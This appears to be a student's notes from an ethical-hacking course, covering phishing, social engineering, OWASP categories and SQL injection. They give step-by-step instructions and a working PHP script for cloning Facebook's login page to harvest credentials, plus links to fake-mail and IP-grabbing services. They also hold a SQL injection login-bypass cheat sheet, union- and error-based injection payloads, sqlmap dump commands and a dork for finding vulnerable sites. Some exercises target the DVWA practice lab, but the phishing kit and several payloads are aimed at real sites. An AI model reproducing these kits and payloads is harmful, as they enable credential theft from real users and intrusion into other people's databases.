  1031. 1. Spear Phishing
  1032. 2. Vector Phishing | Credential Harvestor
  1033.  
  1034. 1. Spear Phishing
  1035. -----------------
  1036. Targeting a single or an individual or the crowd of people having common interest. Target Specific.
  1037. 2. Credential Harvestor
  1038. -----------------------
  1039. It is not target specific. Any kind of person can come and enter their credentials. I just need to collect the credentals of the crowd for my own purpose.
  1040.  
  1041. Create Facebook's Phishing Page
  1042. ===============================
  1043. 1. Open Your Browser
  1044. 2. Goto www.facebook.com
  1045. 3. Right Click on the login page ---> view page source
  1046. 4. Select all ---> copy
  1047. 5. Open notepad and paste the whole code
  1048. 6. Scroll to the very top of the code.
  1049. 7. Ctrl+F ---> action=
  1050. action="https://www.facebook.com/login.php?login_attempt=1&amp;lwv=110"
  1051. 8. In the received parameter
  1052. https://www.facebook.com/login.php?login_attempt=1&amp;lwv=110
  1053. Replace it with fish.php
  1054.  
  1055.  
  1056. fish.php
  1057. ========
  1058. <?php
  1059. header ('Location: https://www.facebook.com');
  1060. $handle = fopen("coffee.txt", "a");
  1061. foreach($_POST as $variable => $value) {
  1062. fwrite($handle, $variable);
  1063. fwrite($handle, "=");
  1064. fwrite($handle, $value);
  1065. fwrite($handle, "
  1066. ");
  1067. }
  1068. fwrite($handle, "
  1069. ");
  1070. fclose($handle);
  1071. exit;
  1072. ?>
  1073.  
  1074. Understanding The Code
  1075. ======================
  1076. <?php ---> start of the php code
  1077. header ('Location: https://www.facebook.com');
  1078. when the working of the php code is done, then redirect the user to https://www.facebook.com
  1079. $handle = fopen("coffee.txt","a");
  1080. $handle ---> Variable
  1081. fopen --> to open a file
  1082. It will open a file, coffee.txt
  1083. When we open a file, I need to pass an attribute, which says in which mode the file should open. There are 3 major attributes
  1084. 1. Read --> r
  1085. This attribute is used for just reading the content of the file.
  1086. 2. Write -> w
  1087. This attribute is use to write the content in the file.
  1088. 1. If there is no file name which we passed, then it will create a new file with the same name.
  1089. 2. If there is a file with the name and there is data inside the file, it will delete all the data and start writing the new data from the beginning, Overwrite.
  1090. 3. Append-> a
  1091. It is same like write, but it never deletes data but, it will start continue to write the data in the same file.
  1092. foreach($_POST as $variable => $value)
  1093. It is for loop in php. It says jb tk mere pass data POST method se aa rha hai, tb tk ye loop chalta rahe.
  1094. $variable => $value
  1095. Phone or email => abc.cyb@gmail.com
  1096.  
  1097. fwrite($handle, $variable); --> 1
  1098. fwrite($handle, "="); ---> 2
  1099. fwrite($handle, $value); ---> 3
  1100. fwrite($handle, "
  1101. "); --->4
  1102. fwrite --> to write data into the file
  1103. fwrite($handle, $variable);
  1104. $handle ---> specify the file in which we want to write
  1105. $variable --> data which is to be stores in the file
  1106.  
  1107. 1 2 3
  1108. email or phone = Store the value inputed by the user
  1109. 4 --->it will enter a new line and start from the begining of the next line
  1110. fclose($handle);
  1111. It means to close the open file ---> coffee.txt
  1112. exit;
  1113. To stop the execution of the code and redirect to the user to the site specified in header
  1114. ?> --> close of php code
  1115.  
  1116. IDN Homographic Attack
  1117. ======================
  1118. There are many languages in the world. Among those language there are many characters which are similar to english characters.
  1119. To human eye, those similar characters do not have anby difference but to computer they do have the difference of their ASCII Value.
  1120.  
  1121. а, с, е, о, р, х and у --> Russian
  1122. a, c, e, o, p, x and y --> English
  1123.  
  1124. deepika Padukone --> English
  1125. dеерikа раdukоnе --> Cyrallic + English
  1126.  
  1127. Case Study - Must Read
  1128. ======================
  1129. https://thehackernews.com/2017/04/unicode-Punycode-phishing-attack.html
  1130.  
  1131. Social Engineering
  1132. ==================
  1133. To bluf someone in order to take the sensitive data. It is hacking without coding, Human mind hacking. An attacker can reterive the data or can make others to do his dirty works.
  1134.  
  1135. Fake Mails
  1136. ==========
  1137. Sending ----> https://emkei.cz/
  1138. https://getgophish.com/
  1139. https://www.youtube.com/watch?v=knc6Iq-hNcw&t=114s
  1140. Receiving ----> www.temp-mail.org
  1141.  
  1142. haveibeenpwned.com
  1143. https://howsecureismypassword.net/
  1144.  
  1145. Email Tracing and Tracking
  1146. ==========================
  1147. https://grabify.link/ --> Try it yourself
  1148. http://www.fuglekos.com/ip-grabber/index.html -->
  1149. http://whoreadme.com
  1150.  
  1151. Email Encryption
  1152. ================
  1153. End-to-end encryption.
  1154. encipher.it
  1155.  
  1156. -x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-
  1157.  
  1158. Session 9
  1159. =========
  1160. Introduction to Vulnerability Assessment and Penetration Testing
  1161. ----------------------------------------------------------------
  1162.  
  1163. VAPT --> Vulnerability Assessment and Penetration Testing
  1164. V --> Vulnerability
  1165. Loopholes, week security, security misconfiguration. From where an attacker can intrude and compromise your system.
  1166. A --> Assessment
  1167. To scan for the Vulnerability.
  1168. P --> Penetration
  1169. To beach into the system using the above Vulnerability. To hack into or to compromise the system
  1170. T --> Testing
  1171. To generate the report and to pass down. To test the above Vulnerability and to create a report for the same.
  1172.  
  1173.  
  1174. VA --> Vulnerability Assessment
  1175. To scan the web application and to report the Vulnerability
  1176. PT --> Penetration Testing
  1177. To beach into the system and report about those Vulnerabilities.
  1178. VAPT --> Vulnerability Assessment and Penetration Testing
  1179.  
  1180. When we talk about web application VAPT
  1181. ========================================
  1182. OWASP
  1183. =====
  1184. Open Web Application Security Project
  1185. -------------------------------------
  1186. It is non-profit charitable organisation, which works towards the security of the web application. They gather the information from all around the globe. They gather the information through CTF initiative.
  1187. They open challange the whole hacking community, to hack into the online system and capture the flag, in return, they will provide with the bounty. They gather the logs of the attacks which are performed in the CTF.
  1188. After gathering the whole logs, they perform the analysis of these logs and categorise the attacks accordingly.
  1189. They release a list of 10 attacks.
  1190. OWASP TOP 10. --> top 10 attacks.
  1191.  
  1192. 1. Injection
  1193. 2. XSS --> Cross Site Scripting
  1194. 3. CSRF --> Cross Site Request Forgery
  1195. 4. IDOR --> Insecure Direct Object References
  1196. 5. Sensitive Data Exposure
  1197. 6. Missing Function Level Access Control
  1198. 7. Broken Authentication and Session Management
  1199. 8. Invalidated Redirects and Forwards
  1200. 9. Security Misconfigurations
  1201. 10. Using Components with known Vulnerabilities
  1202.  
  1203. OWASP 2013 --> Stable
  1204. OWASP 2017 --> Data sufficient
  1205. https://www.owasp.org/images/7/72/OWASP_Top_10-2017_(en).pdf.pdf
  1206.  
  1207. https://cybermap.kaspersky.com/
  1208. https://www.fireeye.com/cyber-map/threat-map.html
  1209.  
  1210. DBMS
  1211. ====
  1212. DataBase Management System
  1213. --------------------------
  1214. Where, how, when which data is suppose to be stores in which table, in which database, in which column.
  1215. DBA --> Database Administrator
  1216. The Administrator of database, which manages the whole environment's database. DBA need to have the complete knowledge of a programing languages --> SQL
  1217.  
  1218. SQL --> Structured Query Language.
  1219. This is the programing languages which is used by the dba or any user to interact with the database.
  1220.  
  1221. Source --> Delhi
  1222. Destination --> Jalandhar
  1223. Date --> 10/6/2018
  1224. Class -> 2T
  1225.  
  1226. Select trains from database where source="Delhi" and destination="Jalandhar" having class="2T" on date=" 10/06/2018"
  1227.  
  1228. Queries
  1229. =======
  1230. 1. Insert
  1231. Insert into <table_name>(Column_Name) VALUES(Values to be inserted);
  1232.  
  1233. INSERT INTO `info`(`Name`, `Salary`, `Address`, `Gen`) VALUES (Prashant, 10000, Roshan Garden Najafgarh, M);
  1234.  
  1235. 2. Select
  1236. Select * from <table_name>;
  1237.  
  1238. Select * from info;
  1239.  
  1240. 3. UPDATE
  1241. Update <table_name> SET <value to change> where <condition>;
  1242.  
  1243. UPDATE info SET Salary=30000 where Name="Abhijeet Singh";
  1244.  
  1245. 4. Where
  1246. It is a condition
  1247.  
  1248. Select * from info where salary > 15000;
  1249. Select * from info where name like "A%";
  1250.  
  1251. 5. Delete
  1252. DELETE from info WHERE Name="Abhijeet Singh";
  1253.  
  1254. 6. AND
  1255. SELECT * FROM `info` WHERE salary>=20000 and Gen='M';
  1256.  
  1257. 7. Create
  1258. Create table <table_name>(columns_name data_Type Length);
  1259.  
  1260. CREATE table training(Name Text(20), Age int(3), Gender Text(1));
  1261.  
  1262. 8. Order By
  1263. It will arrange the data into either ascending order or in descending order
  1264.  
  1265. SELECT * FROM `training` ORDER BY Name;
  1266.  
  1267. 9. Group By
  1268. To group the data
  1269.  
  1270. SELECT * FROM `training` GROUP by Gender;
  1271.  
  1272. 10. UNION
  1273. SELECT name from info UNION select name from training;
  1274.  
  1275. SELECT name,gen,salary,address from info UNION SELECT name,gender,age,null FROM training;
  1276.  
  1277. 11. Information_schema -->Meta database
  1278.  
  1279. SQL Injection
  1280. =============
  1281. Authentication Bypass
  1282. ---------------------
  1283. To bypass the authentication on any login form and gain teh access as the administrator.
  1284. There are 4 types of authentication
  1285. 1. Basic Authentication
  1286. 2. Integrated Authentication
  1287. 3. Digest Authentication
  1288. 4. Form Based Authentication
  1289.  
  1290. Logic Gates
  1291. ===========
  1292. AND Gate --> If any of the value is false, then the ans will be flase
  1293.  
  1294. 0 and 0 = 0
  1295. 0 and 1 = 0
  1296. 1 and 0 = 0
  1297. 1 and 1 = 1
  1298.  
  1299. OR --> If any of the value is true, then the answer will be true
  1300.  
  1301. 0 or 0 = 0
  1302. 0 or 1 = 1
  1303. 1 or 0 = 1
  1304. 1 or 1 = 1
  1305.  
  1306. 1 ---> True ---> Administrator
  1307.  
  1308. ' ---> Single inverted Comma ---> Use to break the SQL query
  1309.  
  1310. 1'or'1'='1
  1311. select '1'or'1'='1'
  1312.  
  1313. Username --> 1'or'1'='1 always true
  1314. Password --> 1'or'1'='1 always true
  1315. Administrator Login
  1316. x'or'x'='x ---> true
  1317.  
  1318. Cupons| Promo Code ---> 1'or'1'='1
  1319.  
  1320.  
  1321. Cheat sheet
  1322. ===========
  1323. or 1=1
  1324. or 1=1--
  1325. or 1=1#
  1326. or 1=1/*
  1327. admin' --
  1328. admin' #
  1329. admin'/*
  1330. admin' or '1'='1
  1331. admin' or '1'='1'--
  1332. admin' or '1'='1'#
  1333. admin' or '1'='1'/*
  1334. admin'or 1=1 or ''='
  1335. admin' or 1=1
  1336. admin' or 1=1--
  1337. admin' or 1=1#
  1338. admin' or 1=1/*
  1339. admin') or ('1'='1
  1340. admin') or ('1'='1'--
  1341. admin') or ('1'='1'#
  1342. admin') or ('1'='1'/*
  1343. admin') or '1'='1
  1344. admin') or '1'='1'--
  1345. admin') or '1'='1'#
  1346. admin') or '1'='1'/*
  1347. 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
  1348. admin" --
  1349. admin" #
  1350. admin"/*
  1351. admin" or "1"="1
  1352. admin" or "1"="1"--
  1353. admin" or "1"="1"#
  1354. admin" or "1"="1"/*
  1355. admin"or 1=1 or ""="
  1356. admin" or 1=1
  1357. admin" or 1=1--
  1358. admin" or 1=1#
  1359. admin" or 1=1/*
  1360. admin") or ("1"="1
  1361. admin") or ("1"="1"--
  1362. admin") or ("1"="1"#
  1363. admin") or ("1"="1"/*
  1364. admin") or "1"="1
  1365. admin") or "1"="1"--
  1366. admin") or "1"="1"#
  1367. admin") or "1"="1"/*
  1368. 1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
  1369.  
  1370.  
  1371. LVS setup
  1372. =========
  1373. Lucideus Vulnerable Simulator
  1374. =============================
  1375.  
  1376. DVWA --> Damm Vulnerable Web Application
  1377. ----------------------------------------
  1378. Open Source
  1379.  
  1380. LVS_1.zip
  1381. 1. Copy the zip file
  1382. 2. Paste it in C:xampphtdocs
  1383. 3. Extract the zip file
  1384. LVS_1
  1385. 4. Start the xampp server
  1386. Apache
  1387. MySQL
  1388. 5. Start the browser
  1389. 127.0.0.1/lvs_1
  1390. 6. Click on the link --> lvs111
  1391.  
  1392. -x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-
  1393.  
  1394. Session 10
  1395. ==========
  1396. Insecure Direct Object References
  1397. ---------------------------------
  1398. A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, or database key. Without an access control check or other protection, attackers can manipulate these references to access unauthorized data.
  1399.  
  1400. www.bank.com/aofn/akjf.php?id=12 ---> Account1
  1401. www.bank.com/aofn/akjf.php?id=11 ---> Account2
  1402. www.bank.com/aofn/akjf.php?id=10 ---> Account3
  1403. if I will change the id value to another ID value, and can have the access of another account, it is considered to be Insecure Direct Object References
  1404.  
  1405. http://127.0.0.1/wave1/wave1/insecure/myaccount.php?Id=1
  1406. User ID = 1
  1407. Username = Admin
  1408. Password= password
  1409.  
  1410. If I change the value of .php?Id=1 to .php?Id=2, then I can have the access of another account whose ID is 2
  1411.  
  1412. Oyorooms.com/afogn/adifn.php?ID=abhijeet.php
  1413. Oyorooms.com/afogn/adifn.php?ID=admin.php
  1414.  
  1415. id = 1 ---> 1 represents a token containing a value of --> Username, password and other information.
  1416.  
  1417. Get Parameter
  1418. -------------
  1419. php?Id=1 -->
  1420. Something = something
  1421.  
  1422. Sensitive Data Exposure
  1423. =======================
  1424. Personal Data
  1425. Credential Data
  1426. Banking Data
  1427. Economical Data
  1428. Financial Data
  1429.  
  1430. 1. When data is transmitted in the url, that is your crendentials are transmitted via GET Parameter.
  1431. username=user&password=pass&sumbit=submit
  1432. 2. When data is stored in plain text form rather then hashed or encrypted form.
  1433. 3. When data is stored in the text file rather then to be stored in the databsae.
  1434.  
  1435. Id Interest Gender Username Password
  1436. -----------------------------------------------
  1437. 1 Badminton Female admin Pa$$woRd
  1438. 2 Football Male admin2 paSSwOrd
  1439.  
  1440.  
  1441. Consider who can gain access to your sensitive data and any backups of that data. This includes the data at rest, in transit and even in your customers’ browsers. Include both external and internal threats. The Sensitive Data can be exposed in the plain text or in any hash format.
  1442.  
  1443. DVWA
  1444. ====
  1445. Damn Vulnerable Web Application
  1446. -------------------------------
  1447. It is a web application which is Vulnerable by default. This application is used for testing the skills and to perform web application attacks passed by OWASP.
  1448.  
  1449. Could not connect to the database - please check the config file.
  1450. 1. Goto c:xampphtdocsdvwadvwa-1.0.8
  1451. 2. Open the config folder
  1452. 3. config.inc.php
  1453. 4. $_DVWA = array();
  1454. $_DVWA[ 'db_server' ] = 'localhost';
  1455. $_DVWA[ 'db_database' ] = 'dvwa';
  1456. $_DVWA[ 'db_user' ] = 'root';
  1457. $_DVWA[ 'db_password' ] = 'p@ssw0rd';
  1458.  
  1459. change the line --> $_DVWA[ 'db_password' ] = 'p@ssw0rd';
  1460. $_DVWA[ 'db_password' ] = '';
  1461. save the file
  1462.  
  1463. Username:admin
  1464. password:password
  1465.  
  1466.  
  1467. SQL Injections
  1468. ==============
  1469. Where an attacker passes the malicious SQL commands just to gain the juicy information from the database.
  1470. SQLi
  1471.  
  1472. UNION BASED SQL INJECTION
  1473. =========================
  1474. Where an attacker uses the union command to collect the information and merge it into one table. He passes malicious commands and queries in the database to do so.
  1475.  
  1476. DEMO
  1477. ====
  1478. DVWA ---> Security:Low
  1479. SQL Injection
  1480. Step 1
  1481. ======
  1482. To find 'GET' parameter.
  1483. something=something
  1484. php?id=something
  1485. php?id=cat
  1486. php?id=1
  1487. php?id=query
  1488.  
  1489. Either you click on some link of the web application|site or enter something in the search box.
  1490.  
  1491. http://127.0.0.1/dvwa/DVWA-1.0.8/vulnerabilities/sqli/?id=1&Submit=Submit#
  1492.  
  1493. Step 2
  1494. ======
  1495. To generate a SQL error, to break the query.
  1496. 1
  1497. 1'
  1498.  
  1499. http://127.0.0.1/dvwa/DVWA-1.0.8/vulnerabilities/sqli/?id=1'&Submit=Submit#
  1500.  
  1501. You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1
  1502.  
  1503. 'select * from table '
  1504. 'select * from table' '
  1505.  
  1506. Step 3
  1507. ======
  1508. To count the number of columns, in the web application.
  1509. For counting the number of columns, I will use order by
  1510.  
  1511. http://127.0.0.1/dvwa/DVWA-1.0.8/vulnerabilities/sqli/?id=1' order by 1--+&Submit=Submit#
  1512. Shows me data
  1513. This query means that I am asking the database to arrange the data according to column number 1
  1514.  
  1515. http://127.0.0.1/dvwa/DVWA-1.0.8/vulnerabilities/sqli/?id=1' order by 2--+&Submit=Submit#
  1516. Shows me data
  1517. This query means that I am asking the database to arrange the data according to column number 2
  1518.  
  1519. http://127.0.0.1/dvwa/DVWA-1.0.8/vulnerabilities/sqli/?id=1' order by 3--+&Submit=Submit#
  1520. Gives me error
  1521. Unknown column '3' in 'order clause'
  1522. This query means that I am asking the database to arrange the data according to column number 3
  1523. But there is no column number 3 --> so it will generate an error
  1524.  
  1525. order by n--+
  1526. n starts from 1 and ends when i receive an error for the value of n
  1527. --+ ---> To comment out
  1528. if there is any data passed down after --+, it will not execute at all.
  1529.  
  1530. There are 2 columns, in the database.
  1531.  
  1532. Step 4
  1533. ======
  1534. To merge the data of all the columns, using UNION command.
  1535. union select 1,2,...,n-1--+
  1536. n=3
  1537. union select 1,2--+
  1538.  
  1539.  
  1540. http://127.0.0.1/dvwa/DVWA-1.0.8/vulnerabilities/sqli/?id=1' union select 1,2--+&Submit=Submit#
  1541.  
  1542. ID: 1' union select 1,2--
  1543. First name: admin
  1544. Surname: admin
  1545.  
  1546. ID: 1' union select 1,2--
  1547. First name: 1
  1548. Surname: 2
  1549.  
  1550. http://127.0.0.1/dvwa/DVWA-1.0.8/vulnerabilities/sqli/?id=1' union select database(),version()--+&Submit=Submit#
  1551.  
  1552. database() --> database name
  1553. version() --> Database Version Number
  1554.  
  1555. ID: 1' union select database(),version()--
  1556. First name: admin
  1557. Surname: admin
  1558.  
  1559. ID: 1' union select database(),version()--
  1560. First name: dvwa
  1561. Surname: 10.1.25-MariaDB
  1562.  
  1563. Step 5
  1564. ======
  1565. To call database ki ma --> information_schema, for getting the information about the table names
  1566. Information_schema --> it is meta table --> it contains the name of tables and columns which are present in the database.
  1567. information_schema.tables
  1568. |-> It stores the name of all the table names in the database.
  1569.  
  1570. union select table_name,2 from information_schema.tables--+
  1571. or
  1572. union select 1,table_name from information_schema.tables--+
  1573.  
  1574. http://127.0.0.1/dvwa/DVWA-1.0.8/vulnerabilities/sqli/?id=1' union select 1,table_name from information_schema.tables--+&Submit=Submit#
  1575.  
  1576. Step 6
  1577. ======
  1578. I will again call database ki maa for columns names in the table names as users
  1579. information_schema
  1580. information_schema.columns
  1581.  
  1582. union select 1,column_name from information_schema.columns where table_name="users"--+
  1583.  
  1584.  
  1585. ID: 1' union select 1,column_name from information_schema.columns where table_name="users"--
  1586. First name: admin
  1587. Surname: admin
  1588.  
  1589. ID: 1' union select 1,column_name from information_schema.columns where table_name="users"--
  1590. First name: 1
  1591. Surname: user_id
  1592.  
  1593. ID: 1' union select 1,column_name from information_schema.columns where table_name="users"--
  1594. First name: 1
  1595. Surname: first_name
  1596.  
  1597. ID: 1' union select 1,column_name from information_schema.columns where table_name="users"--
  1598. First name: 1
  1599. Surname: last_name
  1600.  
  1601. ID: 1' union select 1,column_name from information_schema.columns where table_name="users"--
  1602. First name: 1
  1603. Surname: user
  1604.  
  1605. ID: 1' union select 1,column_name from information_schema.columns where table_name="users"--
  1606. First name: 1
  1607. Surname: password
  1608.  
  1609.  
  1610. column name --> user_id
  1611. first_name
  1612. Last_name
  1613. user
  1614. password
  1615.  
  1616. Step 7
  1617. ======
  1618. To retreive data from the above data.
  1619. DVWA --> Users --> (User_id,first_name,Last_name,user,Password)
  1620.  
  1621. union select 1,group_concat(User_id,0x0a,first_name,0x0a,Last_name,0x0a,user,0x0a,Password,0x3a) from users--+
  1622.  
  1623. 1
  1624. admin
  1625. admin
  1626. admin
  1627. 5f4dcc3b5aa765d61d8327deb882cf99
  1628.  
  1629. 2
  1630. Gordon
  1631. Brown
  1632. gordonb
  1633. e99a18c428cb38d5f260853678922e03 --> abc123
  1634.  
  1635. 3
  1636. Hack
  1637. Me
  1638. 1337
  1639. 8d3533d75ae2c3966d7e0d4fcc69216b --> charley
  1640.  
  1641. 4
  1642. Pablo
  1643. Picasso
  1644. pablo
  1645. 0d107d09f5bbe40cade3de5c71e9e9b7
  1646.  
  1647. 5
  1648. Bob
  1649. Smith
  1650. smithy
  1651. 5f4dcc3b5aa765d61d8327deb882cf99
  1652.  
  1653. -x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-
  1654.  
  1655. Session 11
  1656. ==========
  1657. ERROR BASED SQL INJECTION
  1658. ==========================
  1659. Error based SQL Injection is type of SQL Injection technique to make the error message show Data in just the form of Database Errors instead of SQL Syntax error like in Union Based, for when we have a blind vulnerability that shows error, so we can extract sensitive data from the database directly.
  1660.  
  1661. The errors are very useful during the time of development of a web application but they should be disabled on a Live Website, because errors always shows the Internal Sensitive Data of the Database.
  1662.  
  1663. Error Based SQL Injection works on the ASP Technology (asp.net , aspx) which is a open source server side web application Developed by Microsoft, using the Microsoft MSSQL Server.
  1664.  
  1665.  
  1666. TRUE CONDITION :
  1667. ---------------
  1668.  
  1669. Here 1 is True and 0 is False.
  1670.  
  1671. AND GATE REPRESENTATION
  1672.  
  1673. A | B | Resultant |
  1674. ------------------------------|
  1675. 0 | 0 | 0 |
  1676. 0 | 1 | 0 |
  1677. 1 | 0 | 0 |
  1678. 1 | 1 | 1 |
  1679.  
  1680. Checking the Last True Condition it states :
  1681.  
  1682. 1 & 1 = 1 ie; 1*1=1 or True*True = True
  1683.  
  1684. MAKING THIS TRUE CONDITION FALSE
  1685.  
  1686. 1 & 0 = 0 ie; 1*0=0 or True*False = False
  1687.  
  1688.  
  1689. Error Based SQL Injection works by generating a error condition in the SQL Syntax, so that the Database reverts back with the Error along with the Sensitive Data.
  1690.  
  1691.  
  1692. DEMONSTRATION
  1693. ===============
  1694.  
  1695. Normally a SQL Syntax can goes like :
  1696.  
  1697. ?id=10 | ?id=10 and 1 =1 ; //TRUE
  1698. Which means a Condition is true and it will revert a Genuine Website.
  1699.  
  1700. - So, we can change and can create a Error in the SQL Command by :
  1701. ?id=10 and 1=0; //FALSE
  1702. Which will create and revert a Errors of the Database.
  1703.  
  1704. CONDITIONS OF ERROR BASED SQLI
  1705. ===============================
  1706. = Only One Query can execute at a Particular time, not like finding out the Table Names etc we do on Union Based.
  1707. = It works on the basis of Last In First Out (LIFO).
  1708. = Only the Top Table of the Database can be accessed at a single particular time. Same goes for Columns and then for Rows.
  1709.  
  1710. ----
  1711. First as same as Union Based SQLI, we start finding the number of columns and the Vulnerable column. Suppose the vulnerable column is 10.
  1712.  
  1713. After creating a Error, We will start executing the command and extracting the data from the First Table from the Database.
  1714.  
  1715. For selecting the Top First Table (Cause we cannot directly go a “n” number column),
  1716.  
  1717. = ?id=10 and 1=0 select top 1 table_name from information_schema.tables
  1718.  
  1719. This will extract and give the Data of the First Table from the Database Including its name and other entities. If the Data is Juicy then extract it, else we go for the next tables and columns.
  1720.  
  1721. ----
  1722.  
  1723. For deselecting the Top/Current Table and selecting/extracting the next table,
  1724.  
  1725. = ?id=10 and 1=0 select top 1 table_name from information_schema.tables where table_name not in (“Name of the previous tables”)
  1726.  
  1727. Here we are selecting the next Top Table excluding the Previous one and then extracting its data through the Database Errors. For eg. if the First Top Table is named as “Images”, the query will be :
  1728. ?id=10 and 1=0 select top 1 table_name from information_schema.tables where table_name not in (“images”, "guestbook")
  1729.  
  1730. ----
  1731.  
  1732. After getting through our Juicy Table, we go for the data which are situated in there columns.
  1733.  
  1734. = ?id=10 and 1=0 select top 1 column_name from information_schema.columns where table_name not in (“images”)
  1735.  
  1736. Here we get the data of the extracted of the Columns which are not of the Table named Images.
  1737.  
  1738. DEMO
  1739. ====
  1740.  
  1741. http://www.target.com/index.php?id=-1 Union Select 1,2,3,4,5,6--+
  1742.  
  1743. http://www.target.com/index.php?id=1 or 1 group by concat_ws(0x3a,version(),floor(rand(0)*2)) having min(0) or 1--+
  1744. we Will Get The Version Printed on The WebPage
  1745.  
  1746.  
  1747. http://www.target.com/index.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
  1748. Here is Our Query To Get The Database.
  1749.  
  1750.  
  1751. http://www.target.com/index.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
  1752. Now We Have To Get The Tables. As We Want Tables From Primary Database .
  1753. Here Is The Query For Tables From Primary Database.
  1754.  
  1755. Increase The Value Of Limit as LIMIT 0,1 to LIMIT 1,1 LIMIT 2,1 LIMIT 3,1 Until You Get Your Desired Table Name .
  1756.  
  1757.  
  1758. http://www.target.com/index.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0xADMIN limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
  1759. Now We Have to Get The Column Names From The Table Name. We Got Table Of Admin. So Lets Get The Columns From Table Admin . Here Is The Query For Getting Column Names From The Table Admin.
  1760.  
  1761. To Get The Columns From The Table Admin we Have to Encode It In HEX and Then We Can Execute Our Query.
  1762. Here Is that PART in Our Query.
  1763.  
  1764. Table_name=ADMIN
  1765. Here Is The HEX Value of ADMIN=61646d696e
  1766. And Put it With 0x to Build Our Correct Query.
  1767.  
  1768.  
  1769. http://www.target.com/index.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x61646d696e limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
  1770. Increase The Value Of LIMIT to LIMIT 0,1 LIMIT 1,1 LIMIT 2,1 until we Get The Column Name Like Username and Password.
  1771.  
  1772.  
  1773. http://www.target.com/index.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(concat(COLUMN_NAME_1,0x3a,COLUMN_NAME_2) as char),0x3a)) from TABLENAME limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
  1774. After We Get The Column names Like Username And Password. Next Step Is To Extract Data From These Columns.
  1775.  
  1776. WE Put The TABLENAME=Admin
  1777. And
  1778. Column_name_1=username
  1779. Column_name_2=password
  1780.  
  1781.  
  1782. http://www.target.com/index.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(concat(username,0x3a,password) as char),0x3a)) from admin limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
  1783.  
  1784.  
  1785. STACKED QUERY SQL INJECTION
  1786. ============================
  1787. Stacked Query SQL Injection is the one which can execute by terminating the original query and adding a new one, it will be possible to modify data and call stored procedures like creating, deleting and modifying the Database with there entities. This technique is massively used in SQL injection attacks and understanding its principle is essential to a sound understanding of this security issue.
  1788.  
  1789. This can done by SQL Injection Automated Tools like “SQLMAP” etc.
  1790.  
  1791. SQLMAP --> Python based Command Line TOOL for automate sql injection
  1792. http://sqlmap.org/
  1793. Python 2.7 --> https://www.python.org/download/releases/2.7/
  1794. HAVIJ --> Illegal tool, GUI based
  1795.  
  1796.  
  1797. SQLMAP
  1798. ======
  1799. 1.
  1800. sqlmap.py
  1801. 2. To test if the website id up or not or if it is vulnerable or not
  1802. sqlmap.py -u https://www.xyz.com/seflgn/kjf.php?id=1
  1803. 3. To get the database ----> --dbs
  1804. sqlmap.py -u https://www.xyz.com/seflgn/kjf.php?id=1 --dbs
  1805.  
  1806. available databases [2]:
  1807. [*] acuart
  1808. [*] information_schema
  1809.  
  1810. 4. To get the tables
  1811. sqlmap.py -u https://www.xyz.com/seflgn/kjf.php?id=1 -D acuart --tables
  1812.  
  1813. Database: acuart
  1814. [8 tables]
  1815. +-----------+
  1816. | artists |
  1817. | carts |
  1818. | categ |
  1819. | featured |
  1820. | guestbook |
  1821. | pictures |
  1822. | products |
  1823. | users |
  1824. +-----------+
  1825.  
  1826. 5. To get the columns
  1827. sqlmap.py -u https://www.xyz.com/seflgn/kjf.php?id=1 -D acuart -T users --columns
  1828.  
  1829. Database: acuart
  1830. Table: users
  1831. [8 columns]
  1832. +---------+--------------+
  1833. | Column | Type |
  1834. +---------+--------------+
  1835. | address | mediumtext |
  1836. | cart | varchar(100) |
  1837. | cc | varchar(100) |
  1838. | email | varchar(100) |
  1839. | name | varchar(100) |
  1840. | pass | varchar(100) |
  1841. | phone | varchar(100) |
  1842. | uname | varchar(100) |
  1843. +---------+--------------+
  1844.  
  1845. 6. To dump the data from the columns
  1846. sqlmap.py -u https://www.xyz.com/seflgn/kjf.php?id=1 -D acuart -T users -C name,uname,pass --dump
  1847.  
  1848. Database: acuart
  1849. Table: users
  1850. [1 entry]
  1851. +------------+-------+------+
  1852. | name | uname | pass |
  1853. +------------+-------+------+
  1854. | John Smith | test | test |
  1855. +------------+-------+------+
  1856.  
  1857. HAVIJ
  1858. =====
  1859. GUI Based tool
  1860.  
  1861.  
  1862. Google Dorks
  1863. ============
  1864. Advance Google Searching Techniques
  1865. -----------------------------------
  1866. Google Hacking Database.
  1867.  
  1868. Arijit Singh
  1869.  
  1870. When ever we search anything on google, google seach enging shows us the data into 3 different colors.
  1871.  
  1872. Blue --> Headings --> Titles
  1873. Green -> Links and urls
  1874. Black -> Content
  1875.  
  1876. intitle: inception
  1877. inurl: inception
  1878. intext: inception
  1879.  
  1880. title--> movie
  1881. url --> inception
  1882. intitle:movie and inrul:inception
  1883.  
  1884. indexof:/inception
  1885.  
  1886. hacking filetype:pdf
  1887.  
  1888. SQL Injection Vulnerable Web Sites
  1889. ----------------------------------
  1890. inurl:php?id=
  1891.  
